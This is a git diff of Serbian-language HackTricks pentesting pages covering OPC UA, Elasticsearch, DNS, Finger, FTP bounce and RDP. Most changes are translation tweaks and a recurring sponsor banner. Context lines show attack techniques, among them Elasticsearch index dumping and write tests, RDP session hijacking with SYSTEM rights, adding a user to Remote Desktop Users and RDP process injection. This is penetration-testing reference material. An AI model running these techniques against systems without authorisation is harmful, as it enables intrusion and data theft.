**OPC UA**, što znači **Open Platform Communications Unified Access**, je ključni open-source protokol koji se koristi u raznim industrijama kao što su proizvodnja, energija, vazduhoplovstvo i odbrana za razmenu podataka i kontrolu opreme. Omogućava jedinstvenu komunikaciju opreme različitih dobavljača, posebno sa PLC-ovima.
Njegova konfiguracija omogućava jake bezbednosne mere, ali često, radi kompatibilnosti sa starijim uređajima, one se smanjuju, izlažući sisteme rizicima. Pored toga, pronalaženje OPC UA usluga može biti teško jer mrežni skeneri možda neće moći da ih otkriju ako su na nestandardnim portovima.
@ -36,7 +36,7 @@ PORT STATE SERVICE REASON
```
## Pentesting OPC UA
Da biste otkrili bezbednosne probleme u OPC UA serverima, skenirajte ga sa [OpalOPC](https://opalopc.com/).
Da biste otkrili bezbednosne probleme u OPC UA serverima, skenirajte ih sa [OpalOPC](https://opalopc.com/).
```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
@ -56,9 +56,9 @@ Da biste dobili uvid u uređaj kojem imate pristup, pročitajte vrednosti čvora
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskorišćive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, iskorišćive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje površine napada, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,13 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic Information
## Osnovne informacije
To je usluga koja **omogućava izvršavanje komande unutar hosta** ako znate validne **akreditive** (korisničko ime i lozinku).
@ -36,7 +36,7 @@ PORT STATE SERVICE
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

View file

@ -17,27 +17,27 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic information
## Osnovne informacije
Elasticsearch je **distribuirani**, **otvoreni izvor** pretraživač i analitički motor za **sve vrste podataka**. Poznat je po svojoj **brzini**, **skalabilnosti** i **jednostavnim REST API-ima**. Izgrađen na Apache Lucene, prvi put je objavljen 2010. godine od strane Elasticsearch N.V. (sada poznat kao Elastic). Elasticsearch je osnovna komponenta Elastic Stack-a, kolekcije alata otvorenog koda za unos podataka, obogaćivanje, skladištenje, analizu i vizualizaciju. Ova kolekcija, koja se obično naziva ELK Stack, takođe uključuje Logstash i Kibana, a sada ima i lagane agente za slanje podataka nazvane Beats.
Elasticsearch je **distribuirani**, **otvoreni izvor** pretraživač i analitički motor za **sve vrste podataka**. Poznat je po svojoj **brzini**, **skalabilnosti** i **jednostavnim REST API-jima**. Izgrađen na Apache Lucene, prvi put je objavljen 2010. godine od strane Elasticsearch N.V. (sada poznat kao Elastic). Elasticsearch je osnovna komponenta Elastic Stack-a, kolekcije alata otvorenog koda za unos podataka, obogaćivanje, skladištenje, analizu i vizualizaciju. Ova stack, koja se obično naziva ELK Stack, takođe uključuje Logstash i Kibana, i sada ima lagane agente za slanje podataka nazvane Beats.
### Šta je Elasticsearch indeks?
Elasticsearch **indeks** je kolekcija **povezanih dokumenata** pohranjenih kao **JSON**. Svaki dokument se sastoji od **ključeva** i njihovih odgovarajućih **vrednosti** (stringovi, brojevi, booleans, datumi, nizovi, geolokacije, itd.).
Elasticsearch **indeks** je kolekcija **povezanih dokumenata** pohranjenih kao **JSON**. Svaki dokument se sastoji od **ključeva** i njihovih odgovarajućih **vrednosti** (stringovi, brojevi, booleovi, datumi, nizovi, geolokacije, itd.).
Elasticsearch koristi efikasnu strukturu podataka nazvanu **inverzni indeks** kako bi olakšao brza pretraživanja punog teksta. Ovaj indeks navodi svaku jedinstvenu reč u dokumentima i identifikuje dokumente u kojima se svaka reč pojavljuje.
Elasticsearch koristi efikasnu strukturu podataka nazvanu **inverzni indeks** za olakšavanje brzih pretraga punog teksta. Ovaj indeks navodi svaku jedinstvenu reč u dokumentima i identifikuje dokumente u kojima se svaka reč pojavljuje.
Tokom procesa indeksiranja, Elasticsearch pohranjuje dokumente i konstruira inverzni indeks, omogućavajući pretraživanje gotovo u realnom vremenu. **Index API** se koristi za dodavanje ili ažuriranje JSON dokumenata unutar određenog indeksa.
Tokom procesa indeksiranja, Elasticsearch pohranjuje dokumente i konstruira inverzni indeks, omogućavajući pretragu gotovo u realnom vremenu. **Index API** se koristi za dodavanje ili ažuriranje JSON dokumenata unutar određenog indeksa.
**Podrazumevani port**: 9200/tcp
## Manual Enumeration
## Ručna enumeracija
### Banner
@ -47,7 +47,7 @@ Protokol koji se koristi za pristup Elasticsearch-u je **HTTP**. Kada mu pristup
Ako ne vidite taj odgovor prilikom pristupa `/`, pogledajte sledeću sekciju.
### Authentication
### Autentifikacija
**Podrazumevano, Elasticsearch nema omogućenu autentifikaciju**, tako da podrazumevano možete pristupiti svemu unutar baze podataka bez korišćenja bilo kakvih akreditiva.
@ -121,13 +121,13 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
```
Da biste dobili **informacije o tome koja vrsta podataka je sačuvana unutar indeksa**, možete pristupiti: `http://host:9200/<index>` iz primera, u ovom slučaju `http://10.10.10.115:9200/bank`
Da biste dobili **informacije o tome koja vrsta podataka je sačuvana unutar indeksa** možete pristupiti: `http://host:9200/<index>` iz primera u ovom slučaju `http://10.10.10.115:9200/bank`
![](<../.gitbook/assets/image (342).png>)
### Dump index
Ako želite da **izbacite sav sadržaj** indeksa, možete pristupiti: `http://host:9200/<index>/_search?pretty=true` kao `http://10.10.10.115:9200/bank/_search?pretty=true`
Ako želite da **izbacite sav sadržaj** indeksa možete pristupiti: `http://host:9200/<index>/_search?pretty=true` kao `http://10.10.10.115:9200/bank/_search?pretty=true`
![](<../.gitbook/assets/image (914).png>)
@ -156,7 +156,7 @@ Takođe možete koristiti nešto poput [https://github.com/misalabs/horuz](https
### Write permissions
Možete proveriti svoja prava pisanja pokušavajući da kreirate novi dokument unutar novog indeksa pokrećući nešto poput sledećeg:
Možete proveriti svoja prava pisanja pokušavajući da kreirate novi dokument unutar novog indeksa pokretanjem nečega poput sledećeg:
```bash
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
{
@ -190,7 +190,7 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -107,7 +107,7 @@ auxiliary/gather/enum_dns #Perform enumeration actions
#Perform enumeration actions
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
```
### DNS - Obrnuti BF
### DNS - Reverse BF
```bash
dnsrecon -r 127.0.0.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -r 127.0.1.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
@ -172,7 +172,7 @@ dig google.com A @<IP>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
@ -289,9 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,17 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Basic Info**
## **Osnovne informacije**
Program/usluga **Finger** se koristi za dobijanje detalja o korisnicima računara. Obično, informacije koje se pružaju uključuju **korisničko ime, puno ime**, i, u nekim slučajevima, dodatne detalje. Ovi dodatni detalji mogu obuhvatati lokaciju kancelarije i broj telefona (ako su dostupni), vreme kada se korisnik prijavio, period neaktivnosti (idle time), poslednji put kada je korisnik pročitao e-mail, i sadržaj korisnikovih planova i projektnih fajlova.
**Finger** program/usluga se koristi za dobijanje detalja o korisnicima računara. Obično, informacije koje se pružaju uključuju **korisničko ime, puno ime**, i, u nekim slučajevima, dodatne detalje. Ovi dodatni detalji mogu obuhvatati lokaciju kancelarije i broj telefona (ako su dostupni), vreme kada se korisnik prijavio, period neaktivnosti (idle time), poslednji put kada je korisnik pročitao e-mail, i sadržaj korisnikovih planova i projektnih fajlova.
**Default port:** 79
**Podrazumevani port:** 79
```
PORT STATE SERVICE
79/tcp open finger
@ -75,9 +75,9 @@ finger @internal@external
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -7,7 +7,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
@ -15,7 +15,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
@ -28,8 +28,8 @@ Ako imate pristup bounce FTP serveru, možete ga naterati da zahteva datoteke sa
## Zahtevi
- Važeći FTP akreditivi na FTP Middle serveru
- Važeći FTP akreditivi na Victim FTP serveru
- FTP validni akreditivi na FTP Middle serveru
- FTP validni akreditivi na Victim FTP serveru
- Oba servera prihvataju PORT komandu \(bounce FTP napad\)
- Možete pisati unutar nekog direktorijuma FRP Middle servera
- Srednji server će imati veći pristup unutar Victim FTP servera od vas iz nekog razloga \(to je ono što ćete iskoristiti\)
@ -48,7 +48,7 @@ Za detaljnije informacije pogledajte post: [http://www.ouah.org/ftpbounce.html](
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
@ -63,7 +63,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -82,7 +82,7 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Get a hacker's perspective on your web apps, network, and cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

View file

@ -15,9 +15,9 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -45,7 +45,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

View file

@ -17,24 +17,24 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic Information
## Osnovne informacije
Razvijen od strane Microsoft-a, **Remote Desktop Protocol** (**RDP**) je dizajniran da omogući grafičku interfejs vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi **RDP** klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi **RDP** serverski softver. Ova postavka omogućava neometano upravljanje i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na korisnikov lokalni uređaj.
Razvijen od strane Microsoft-a, **Remote Desktop Protocol** (**RDP**) je dizajniran da omogući grafičku interfejs vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi **RDP** klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi **RDP** serverski softver. Ova postavka omogućava neometano upravljanje i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na lokalni uređaj korisnika.
**Default port:** 3389
**Podrazumevani port:** 3389
```
PORT STATE SERVICE
3389/tcp open ms-wbt-server
```
## Enumeracija
## Enumeration
### Automatski
### Automatic
{% code overflow="wrap" %}
```bash
@ -72,9 +72,9 @@ rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera na vaše veb aplikacije, mrežu i oblak**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -82,7 +82,7 @@ rdp_check <domain>/<name>:<password>@<IP>
### Krađa sesija
Sa **SYSTEM dozvolama** možete pristupiti bilo kojoj **otvorenoj RDP sesiji bilo kog korisnika** bez potrebe da znate lozinku vlasnika.
Sa **SYSTEM privilegijama** možete pristupiti bilo kojoj **otvorenoj RDP sesiji bilo kog korisnika** bez potrebe da znate lozinku vlasnika.
**Dobijte otvorene sesije:**
```
@ -113,7 +113,7 @@ Možete pretraživati RDP-ove koji su već backdoor-ovani jednom od ovih tehnika
### RDP Process Injection
Ako se neko iz druge domene ili sa **boljim privilegijama prijavi putem RDP-a** na PC gde **ste vi Administrator**, možete **ubaciti** svoj beacon u njegov **RDP sesijski proces** i delovati kao on:
Ako se neko iz druge domene ili sa **boljim privilegijama prijavi putem RDP-a** na PC gde **ste vi Admin**, možete **ubaciti** svoj beacon u njegov **RDP sesijski proces** i delovati kao on:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
@ -127,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** je post-exploitation framework kreiran u Powershell-u, dizajniran prvenstveno za automatizaciju **Shadow** napada na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da **pogleda desktop svoje žrtve bez njenog pristanka**, i čak da njime upravlja na zahtev, koristeći alate koji su izvorni za sam operativni sistem.
**AutoRDPwn** je post-exploatacioni okvir kreiran u Powershell-u, dizajniran prvenstveno za automatizaciju **Shadow** napada na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da **pregleda desktop svoje žrtve bez njenog pristanka**, pa čak i da njime upravlja na zahtev, koristeći alate koji su izvorni za sam operativni sistem.
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Kontrola miša i tastature na automatizovan način iz komandne linije
@ -157,7 +157,7 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera na vaše veb aplikacije, mrežu i oblak**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
